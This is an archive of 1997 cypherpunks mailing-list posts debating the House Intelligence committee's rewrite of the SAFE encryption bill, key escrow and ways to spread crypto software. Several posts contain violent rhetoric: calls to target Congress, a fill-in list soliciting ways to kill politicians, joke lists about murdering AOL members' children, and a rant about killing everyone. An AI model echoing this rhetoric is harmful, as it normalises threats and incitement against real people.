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x/o7jiI8efMBTLuIuJzPqnMYsMYdCrcgmRDzyMj+TSI8cFu5NZKkSaSWVajtq7D1
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 12 Sep 1997 13:27:37 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Bean Counting II
In-Reply-To: <bvbLgDBYeZtLKxtOwBy+tw==@bureau42.ml.org>
Message-ID: <v0310280eb03e81265f20@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:26 PM -0700 9/11/97, bureau42 Anonymous Remailer wrote:
>Does anyone know if the government has released any firm figures on the
>number of lives that would be saved from terrorist activities with the
>outlawing of strong encryption and mandatory key escrow?
>
>If we had the proper figures to work with then we could make a valid
>judgment as to how many lives anti-GAK supporters would have to put
>in danger in order to tip the balance so that it would be in the best
>interests of the citizens to allow strong non-GAK'ed crypto.
>I, for one, would hate to see lives lost needlessly merely because
>those opposing GAK did not have the proper figures to work with.

This is a worthless and dangerous argument to make. If you can't see why,
you have no business writing articles on this list.

Hint: "The greatest good for the greatest number" is passe.

--Tim May





>I think that in the interests of the greatest number of citizens, the
>government should supply solid figures as to the body count that would
>be required to negate the need for laws against strong encryption.
>Also, the government should provide a separate figure for how many
>lives of legislators would need to be lost in order to balance the
>threat of strong encryption. I imagine that it would take far fewer
>Congressman's lives to balance it out than it would average citizen's
>lives.
>
>Call your Congressman and ask if these figures are available.
>In order to get the most help possible, begin the conversation by
>asking the Congressman if he is in favor of saving lives.
>
>BeanCounter


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 12 Sep 1997 11:52:06 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: More on House Intelligence committee amendment on crypto
In-Reply-To: <v0300782fb03e5ec4028b@[207.94.249.39]>
Message-ID: <199709120326.XAA10550@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v0300782fb03e5ec4028b@[207.94.249.39]>, on 09/11/97 
   at 08:07 PM, Bill Frantz <frantz@netcom.com> said:

>At 3:38 PM -0700 9/11/97, Declan McCullagh wrote:
>>So I'm reading through the 43-page amendment to SAFE that the House
>>Intelligence committee approved today. It includes:...

>They're really foaming at the mouth back in 'ol DC.  Lets see:

>(1) Free speech is dead.  c.f. Judge Pattel's opinion in the Burnstein
>case. (2) The right to a public trial is gone too.
>(3) The right to privacy is forgotten.  Close those clinics. (4) If
>crypto is an armament, then the right to keep and bear it is gone. (But
>that right was already in tatters.)
>(5) The right to be safe from unreasonable search is gone if you can't
>challenge a search in the courts.
>(6) etc. etc.

>And over what is merely the practical application of some obscure
>mathematics, these turkeys are willing to trash the constitution they are
>sworn to support and defend.  It would be really funny if it wasn't so
>grim.

No what is grim is the fact that 90% of Armericans don't care.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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krl8mdiLP3s=
=Ja08
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Fri, 12 Sep 1997 13:51:12 +0800
To: declan@well.com>
Subject: Re: The problem of playing politics with our constitutional rights
Message-ID: <3.0.32.19970911223056.00cd1da8@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:05 PM 9/11/97 -0700, James S. Tyre wrote:

>So, the last rhetorical question -- how do you convince someone who's
>never used a browser (the vast majority of the voting populace, I'd
>think) why crypto is important?
>
"Excuse me, Mr. Man On The Street...would you give an IRS auditor the keys
to your house, without him telling you if he would ever use them or if you
were being audited?"
"Of course not!"
"How would you feel about the government requiring that when you buy a
lock, you have to give a key to the IRS, and that they ought to be allowed
to sneak into your house at will, without you even being notified you've
been charged with a crime?"
"That's absurd!"
"Well, that's what they're trying to do now."
"I'll write my Congressman or woman right now!"

(Lizard is currently DLing the PGP plug-in for his beloved Eudora. Never
let it be said I can't be a nonconformist like everybody else!)

<SETH>And here we see more of the cult's recruitment. Note how he always
talks about the *GOVERNMENT* and the *IRS*. Why doesn't he talk about Pepsi
or GM wanting the keys to your house? More of this 'government bad,
business good' propaganda we've all grown so sick and tired of, being
shoved down our throats. Small wonder this list has gone to hell!" </SETH>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 12 Sep 1997 13:56:47 +0800
To: declan@well.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <Pine.GSO.3.95.970911214229.23060C-100000@well.com>
Message-ID: <v0310280fb03e85064817@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:05 PM -0700 9/11/97, James S. Tyre wrote:

>So, the last rhetorical question -- how do you convince someone who's
>never used a browser (the vast majority of the voting populace, I'd
>think) why crypto is important?

This is back to where we were four and a half years ago, when Clipper was
dropped on us. "How do we educate the users?"

Trust me, it's a hopeless task. We don't have the advertising budgets, the
staff for education, etc.

And it ain't our responsibility to "save" the sheeple.

What we _can_ do is prepare for a long guerilla war with the bastards. 80%
of the population will willingly trade away their rights ("what have I got
to hide?") for more perceived security. Ben Franklin saw this 230 years ago.

It's war. Too late for a public relations campaign so that some future
Congress will slightly relax their laws.


And in a war, gotta break some eggs.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Fri, 12 Sep 1997 12:17:53 +0800
To: warpy@sekurity.org (Warpy)
Subject: Re: Taxless society concerns
In-Reply-To: <Pine.LNX.3.96.970911115906.19445B-100000@obscure.sekurity.org>
Message-ID: <199709120403.XAA00606@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> First off. In such a society, who cares for the old, the sick, and the
> infirm? 

	Their Family, Children & other loved ones, or paid care givers.

> How is such care going to be payed for? 

	Well, if their family/children do it, they will pay necessary costs.
Otherwise I guess they will just have to save up for it. 

> How will basic services be
> maintained without the necessary taxes required to pay for them? 

	Fees. 
 
> sympathiser, let me say that i am disgusted at the amount of money spent
> by governments around the world on military equipment and personnel. If
> such a taxless society were to eventuate there would be *hopefully* that
> much more money floating around to help those who need it most.

	Don't assume their need in any way shape or form puts any obligation
on me. 
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James S. Tyre" <j.s.tyre@worldnet.att.net>
Date: Fri, 12 Sep 1997 14:21:39 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <Pine.GSO.3.95.970911214229.23060C-100000@well.com>
Message-ID: <3418DB7F.38B1@worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



> What we _can_ do is prepare for a long guerilla war with the bastards. 80%
> of the population will willingly trade away their rights ("what have I got
> to hide?") for more perceived security. Ben Franklin saw this 230 years
> ago.
> 
> It's war. Too late for a public relations campaign so that some future
> Congress will slightly relax their laws.
> 
> 
> And in a war, gotta break some eggs.
> 
> --Tim May

Mostly, I agree -- at least as far as Congress is concerned.  I place
more hope in the courts, which could be because I've been practicing
con. law for 19 years (many on f-c know this, but I do not assume that
Tim knows much about me).

But even though I work within the law, this may become a by any means
necessary situation.  As I type, I'm remembering when the FBI raided my
office about a dozen years ago, without so much as a warrant, thank you
very much, accusing me of violating national security laws. 
Technically, they were right; legally, they were wrong, but they didn't
give a shit.  Nice reminder (coming from a liberal, for those who've
just been asking what liberals think) that a little civil disobedience
now and again is not such a bad thing.

-Jim





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Fri, 12 Sep 1997 08:55:22 +0800
To: cypherpunks@toad.com
Subject: Re: GAO's Chaos Cryptosystem Algorithms
In-Reply-To: <199709110215.TAA27946@f51.hotmail.com>
Message-ID: <KhAWCE3peUdd2BJJ5Ite0A==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



> Do you want Gao's chaos cryptosytem's thesis
> written in English ?
> If you want it,Please send check or money order
> of 50 dollar to me.

  You want Gao's chaos cryptosystem have broken by CypherPunks?

  If you want it, Please sent check or money order of 800,000 Yen to
Carl Johnson.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Fri, 12 Sep 1997 12:28:49 +0800
To: whgiii@invweb.net (William H. Geiger III)
Subject: Re: More on House Intelligence committee amendment on crypto
In-Reply-To: <199709120326.XAA10550@users.invweb.net>
Message-ID: <199709120422.XAA00715@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> >And over what is merely the practical application of some obscure
> >mathematics, these turkeys are willing to trash the constitution they are
> >sworn to support and defend.  It would be really funny if it wasn't so
> >grim.
> No what is grim is the fact that 90% of Armericans don't care.

	Hell, 95% can't understand what is going on. If they did, I bet 
at least 20% would care.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Fri, 12 Sep 1997 14:51:49 +0800
To: cypherpunks@cyberpass.net
Subject: RE: House National Security committee guts SAFE, worse than no bill
In-Reply-To: <01BCBE08.43D9E320.wathab@tiac.net>
Message-ID: <3.0.3.32.19970911233150.006b2e6c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3984.1071713731.multipart/signed"

--Boundary..3984.1071713731.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 04:40 PM 9/10/97 -0400, Hiawatha Bray wrote:
>I hate to tip folks off as to my column for tomorrow, but that's exactly 
>what I'm doing in it.  I have written that if the Feds try to impose 
>key-recovery crypto on me, I'll start using some encryption program that 
>doesn't comply with the law, and I'll send copies of the messages to the 
>Feds, so they can come and arrest me.  If I really thought they would, I 
>wouldn't have written it!  But I'll stand by it.
>
>Anyway, I don't presently encrypt my mail.  No reason to--I ain't no 
>pedophile...;-)
>So if I want to send crypto I must find some partner in crime.  Any 
>volunteers?

Ditto!

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

Get your assault crypto before they ban it!

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Non-US PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

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VityQWdkRVV6WHFLbk92L01YRGJERwo9YUErYwotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3984.1071713731.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Fri, 12 Sep 1997 14:47:03 +0800
To: Syniker@aol.com
Subject: Re: Different Ways to Serial Murder AOL Members' Children
In-Reply-To: <970912021709_1041080097@emout09.mail.aol.com>
Message-ID: <3.0.3.32.19970911233658.040b83e0@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:17 AM 9/12/97 -0400, Syniker@aol.com wrote:

>Subj:	 Different Ways to Serial Murder AOL Members' Children
>Date:	97-09-12 01:00:46 EDT
>From:	remailer@bureau42.ml.org (bureau42 Anonymous Remailer)
>Sender:	owner-cypherpunks@Algebra.COM
>To:	cypherpunks@toad.com


Different Ways to Serial Murder AOL Members' Children:

1. I already ate all of mine. How many you got that are edible????

2. Me too!

3.

4.

5.


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 12 Sep 1997 14:47:48 +0800
To: cypherpunks@toad.com
Subject: House panel votes behind closed doors to build in Big Brother
Message-ID: <Pine.GSO.3.95.970911233758.23060M-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 11 Sep 1997 23:37:39 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: House panel votes behind closed doors to build in Big Brother

Software that protects your privacy is a controlled substance that may no
longer be sold, a Congressional committee decided today.

Meeting behind closed doors this morning, the House Intelligence committee
voted to replace a generally pro-encryption bill with an entirely
rewritten draft that builds in Big Brother into all future encryption
products. (The Senate appears to be moving in a similar direction.)

The new SAFE bill -- titled in a wonderfully Orwellian manner the
"Security and Freedom through Encryption" act even though it provides
neither -- includes these provisions:

SELLING CRYPTO: Selling unapproved encryption products (that do not
include "immediate access to plaintext") becomes a federal crime,
immediately after this bill becomes law. Five years in jail plus
fines. Distributing, importing, or manufacturing such products
after January 31, 2000 is another crime.

NETWORK PROVIDERS: Anyone offering scrambled "network service"
including encrypted web servers or even "ssh" would be required to
build in a backdoor for the government by January 31, 2000. This
backdoor must provide for "immediate decryption or access to
plaintext of the data."

TECHNICAL STANDARDS: The Attorney General will publish technical
requirements for such backdoors in network service and encryption
products, within five months after the president signs this bill.

LEGAL TO USE CRYPTO: "After January 31, 2000, it shall not be
unlawful to use any encryption product purchased or in use prior to
such date."

GOVERNMENT POWERS: If prosecutors think you may be selling,
importing, or distributing non-backdoor'd crypto or are "about" to
do so, they can sue. "Upon the filing of the complaint seeking
injunctive relief by the Attorney General, the court shall
automatically issue a temporary restraining order against the party
being sued." Also, there are provisions for holding secret
hearings, and "public disclosure of the proceedings shall be
treated as contempt of court." You can request an advisory opinion
from the government to see if the program you're about to publish
violates the law.

ACCESS TO PLAINTEXT: Courts can issue orders, ex parte, granting
police access to your encrypted data. But all the government has to
do to get one is to provide "a factual basis establishing the
relevance of the plaintext" to an investigation. They don't have to
demonstrate probable cause, which is currently required for a
search warrant. More interestingly, this explicitly gives the FISA
court jurisdiction (yes, the secret court that has never denied a
request for a wiretap). If they decode your messages, they'll tell
you within 90 days.

GOVERNMENT PURCHASING: Federal government computer purchases must
use a key escrow "immediate decryption" backdoor after 1998. Same
with networks "purchased directly with Federal funds to provide the
security service of data confidentially." Such products can be
labeled "authorized for sale to U.S. government"

ENCRYPTION EXPORTS: The Defense & Commerce departments will control
exports of crypto. Software "without regard to strength" can be
exported if it includes a key escrow backdoor and is first
submitted to the government. Export decisions aren't subject to
judicial review, and the "president may by executive order waive
any provision of this act" if he thinks it's a threat to national
security. Within 15 days, he must send a classified briefing to
Congress.

ADVISORY PANEL: Creates the Encryption Industry and Information
Security Board, with seven members from Justice, State, FBI, CIA,
White House, and six from the industry. 

INTERNATIONAL: The president can negotiate international agreements
and perhaps punish noncompliant governments. Can you say "trade
sancation?"

(Other provisions barring the use of crypto in a crime and
some forms of cryptanalysis are also in the bill.)

Next the Commerce Committee will vote on SAFE, and a former FBI
agent-turned-Congressman is vowing to ensure that similar language to this
is included. (The committees are voting on the bill in parallel, and a
four-person team of Congressmen is working to forge a compromise before
Commerce votes.) Then the heads of the five committees that have rewritten
the legislation will sit down and work out another compromise. If it's
acceptable to the House Rules committee -- and if the FBI/NSA get what
they want it will be -- the bill can move to the floor for a vote. 

That's why the encryption outlook in Congress is abysmal. Crypto-advocates
have lost, and lost miserably. A month ago, the debate was about export
controls. Now the battle is over how strict the //domestic// controls will
be. It's sad, really, that so many millions of lobbyist-dollars were not
only wasted, but used to advance legislation that has been morphed into a
truly awful proposal. 

I wrote more about this at:

  http://cgi.pathfinder.com/netly/opinion/0,1042,1385,00.html

-Declan









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 12 Sep 1997 12:54:47 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Any talk of limiting _existing_ crypto? (fwd)
Message-ID: <199709120500.AAA18465@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 11 Sep 1997 21:39:52 -0700
> From: Tim May <tcmay@got.net>
> Subject: Any talk of limiting _existing_ crypto?

> If not, then our strategy should be to get the simpler, text-centric,
> crypto programs massively and widely deployed. Spend the year or so we have
> before D-Day getting crypto onto every CD-ROM being distributed, every
> public domain site, etc.
> 
> Integration with mailers and browsers may not even be such a good idea, as
> the evolution of such products will cause obsolescence. Better, perhaps, to
> leave the crypto at the "text edit" level, the ASCII level, where it can be
> dropped in cleanly to whatever program is current. (Also an old strategy,
> one with many advantages.)

How about the system file i/o level?


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 12 Sep 1997 12:19:17 +0800
To: "fight-censorship@vorlon.mit.edu>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <Pine.GSO.3.95.970911124811.12105H-100000@well.com>
Message-ID: <Pine.LNX.3.95.970912000128.1088A-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 11 Sep 1997, Declan McCullagh wrote:
> talking about more crypto-in-a-crime restrictions. The Commerce Committee,
> I'm told, got briefed by Freeh in a closed-door hearing yesterday evening
> without staff present.

Make that yesterday morning. I understand the briefing lasted from 10 am
to 1:30 pm.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fuck You <fy@dev.null>
Date: Fri, 12 Sep 1997 15:20:00 +0800
To: David H Dennis <david@amazing.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <199709120505.WAA08152@remarkable.amazing.com>
Message-ID: <3418DC5C.15CC@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



David H Dennis wrote:

> Crypto restrictions are natural to oppose in a Libertarian
> world, due to our fundemental distrust of government.  Where do they
> fit in a Liberal one?

They don't fit in any fucking world any more than butt-fucking 
the citizens fits in any fucking world.
There is no longer any rule of law in the country so it is now
acceptable for each of us to make our own laws and enforce them.
I met with myself in a double-secret commmittteee meeting last
night and passed a lot of laws that carry the death penalty and
now I have to kill everyone but me.
I also passed a law saying you all have to give me 30% of your
income until I get around to killing you. And you all have to
go to Vietnam and kill ten people and then go to Kent State and
kill a student and then you have to kill people with religious
beliefs that are different than yours and all of their children
too. And everyone has to bomb their own house and blame it on
Timothy McVeigh and then I'm going to pardon him and let him
sexually harrass Paula Jones.
And you guys have to quit reading other people's stuff because
I am the only official news, now.
NEWS FLASH!!!
I'm an asshole and I'm going to kill you all and take all of your
money and I'm still at the top of my latest poll. I just asked
myself.
So is anybody bothered because I'm not wearing a suit and smiling
at you and telling you lies? Is your life going to be any worse
now that a real asshole like me is the dictator of everybody?
Not really. I think things will stay pretty much the same.

Fuck You






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 12 Sep 1997 06:59:57 +0800
To: cypherpunks@toad.com
Subject: Re: Cypherpunk Press <sarcasm>
Message-ID: <199709112242.AAA13620@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Michael Wilson wrote:

> After all, if individuals have no right to privacy, why should any
> organization have one?  Is the right to privacy and secrecy something
> that comes from additive rights?  Does it come from possession of
> military force, up to and including nuclear weapons?  What's the line?
> I personally wouldn't mind knowing the threshold I need to cross to
> have a 'right' to privacy.  It gives me a goal.

toto@sk.sympatico.ca is currently offering a suitcase, for a mere
$1,000,000 which should guarantee your privacy. simply let the
proper authorities know that you have the suitcase in your
possession, and they will recognize you as a compatriot and leave
you alone.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SL Baur <steve@xemacs.org>
Date: Fri, 12 Sep 1997 16:08:17 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Any talk of limiting _existing_ crypto?
In-Reply-To: <v03102809b03e747663d3@[207.167.93.63]>
Message-ID: <m2vi07t0vf.fsf@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

> If existing crypto is fully legal to use, then it could be years and years
> before the Freeh-Reno-SAFE outlawing has any significant effect.

Indeed.  How about existing software with decades of previous
existence that has hooks where crypto can be plugged in with fairly
trivial effort?

> Is there any reasonable interpretation of any of the SAFE or Pro-CODE bills
> that could make it illegal to use preexisting crypto programs ...

> If not, then our strategy should be to get the simpler, text-centric,
> crypto programs massively and widely deployed. Spend the year or so we have
> before D-Day getting crypto onto every CD-ROM being distributed, every
> public domain site, etc.

We (the XEmacs developers, but I write only for myself as XEmacs
maintainer) already distribute mailcrypt (Emacs lisp code to
integrate PGP with mailers and newsreaders implemented in Emacs
lisp).  It has been possible to integrate encrypted editing with
encryption of the user's choice transparently for some time.

> Better, perhaps, to leave the crypto at the "text edit" level, the
> ASCII level, where it can be dropped in cleanly to whatever program
> is current. (Also an old strategy, one with many advantages.)

I agree.  An Emacs-like architecture makes implementing something like 
this pretty straight-forward.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Fri, 12 Sep 1997 09:53:51 +0800
To: cypherpunks@toad.com
Subject: Killing & Communicating
Message-ID: <zngx/bFbp7UvIXTULAlYdg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Best Way To: 
1. Kill an evil politician without using a gun.
2. Plan the killing of a politician without using crypto.
3. Threaten the life of a politician without breaking the law.
------------------------------------------------------
1.
2.
3.
------------------------------------------------------
1.
2.
3.
------------------------------------------------------
1.
2.
3.
------------------------------------------------------
1.
2.
3.
------------------------------------------------------
1.
2.
3.
------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 12 Sep 1997 16:57:27 +0800
To: cypherpunks@cyberpass.net
Subject: Docs in Bernstein converted to HTML
Message-ID: <3.0.2.32.19970912015047.006ff604@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain




I've converted two of the newer documents in _Bernstein v. Dept of State_
into HTML; but I'd appreciate it if someone felt like
proofreading/comparing them to the original images, it's late and my eyes
are tired. 


Judge Patel's Order of 9/9/97, staying some of the injunctive relief:

HTML at <http://www.parrhesia.com/bernstein/stay.html>
image at
<http://www.eff.org/pub/Legal/Cases/Bernstein_v_DoS/Legal/970909_stay_order.
images/index.html>


Declaration of William Reinsch in support of emergency motion for total stay:

HTML at <http://www.parrhesia.com/bernstein/reinsch.html>
image at
<http://www.eff.org/pub/Legal/Cases/Bernstein_v_DoS/Legal/970910_reinsch_dec
l.images/index.html>


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 12 Sep 1997 15:21:25 +0800
To: Declan McCullagh <declan@well.com>
Subject: State of War (Was: Re: House panel votes behind closed doors to build in Big Brother)
In-Reply-To: <Pine.GSO.3.95.970911233758.23060M-100000@well.com>
Message-ID: <199709120704.DAA16619@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Well Congress has decared war on us and the Citizens of the United States
in general.

The only question now is what targets to we hit first?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNBjc0I9Co1n+aLhhAQH8jAP+LXNDjwJuOKO7WUVe7mQpcvqfVOC8Zgc9
qN2n+hGggwMu51h6VimnMiNlR4R+gpdP3nvVfG3gPIdbZQXv7IpcvUL5ICXZhdI5
gXD4II32nfCU7LOEB6Sm2uHAGOQqgoU7Zc64WGrfWP5DOChV4YiIhUZ7L2fhZclF
oY7ZcfDhfTk=
=LMdZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Null <davenull@dev.null>
Date: Fri, 12 Sep 1997 16:26:03 +0800
To: cypherpunks@toad.com
Subject: Re: Any talk of limiting _existing_ crypto?
In-Reply-To: <v03102809b03e747663d3@[207.167.93.63]>
Message-ID: <3418FA3F.206@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



::
Anon-To: cypherpunks@toad.com

Tim May wrote:
 > Is there any reasonable interpretation of any of the SAFE or Pro-CODE
bills
> that could make it illegal to use preexisting crypto programs (before the
> ban)?

  Govt doesn't need to use a reasonable interpretation. They tell you
what you can and can't do--the judge areees with them--ten years later
the Supremes tell you to go ahead and use it but it no longer runs on
any of the machines in existence.

> Any way they could make it illegal to use PGP or Lotus Notes or
> whatever in conjunction with a mailer or browser?

  Yes. They declare it to be so.
 
> If not, then our strategy should be to get the simpler, text-centric,
> crypto programs massively and widely deployed. Spend the year or so we have
> before D-Day getting crypto onto every CD-ROM being distributed, every
> public domain site, etc.
 > Integration with mailers and browsers may not even be such a good
idea, as
> the evolution of such products will cause obsolescence. Better, perhaps, to
> leave the crypto at the "text edit" level, the ASCII level, where it can be
> dropped in cleanly to whatever program is current. (Also an old strategy,
> one with many advantages.)

  Make it work simply for everyone with the push of a single button.
It doesn't have to be secure, it has to be convenient. The only thing
the masses need is the illusion of security. Then they will cry loudly
when someone tries to take it away.
  Make it so that those who want strong security can jump through the
necessary hoops to get it from the same program so that they can't
take away yours and leave them with theirs. 

> The war criminals in Washington will have a real hard time rounding up the
> crypto deployed between now and D-Day.

  Strong encryption, officer? Yes, my Bouncing Betty Security Disk
is right there in the top drawer. I'll just step back here a little
and let you go get it.
 
Dave Null





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syniker@aol.com
Date: Fri, 12 Sep 1997 14:29:10 +0800
To: cypherpunks@toad.com
Subject: Re: Different Ways to Serial Murder AOL Members' Children
Message-ID: <970912021709_1041080097@emout09.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



Subj:	 Different Ways to Serial Murder AOL Members' Children
Date:	97-09-12 01:00:46 EDT
From:	remailer@bureau42.ml.org (bureau42 Anonymous Remailer)
Sender:	owner-cypherpunks@Algebra.COM
To:	cypherpunks@toad.com


Different Ways to Serial Murder AOL Members' Children:

1. I already ate all of mine. How many you got that are edible????

2.

3.

4.

5.











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syniker@aol.com
Date: Fri, 12 Sep 1997 14:32:40 +0800
To: cypherpunks@toad.com
Subject: Re: Different Ways to Kill AOL Members
Message-ID: <970912022339_1457154594@emout03.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



Subj:	 Different Ways to Kill AOL Members
Date:	97-09-12 01:05:58 EDT
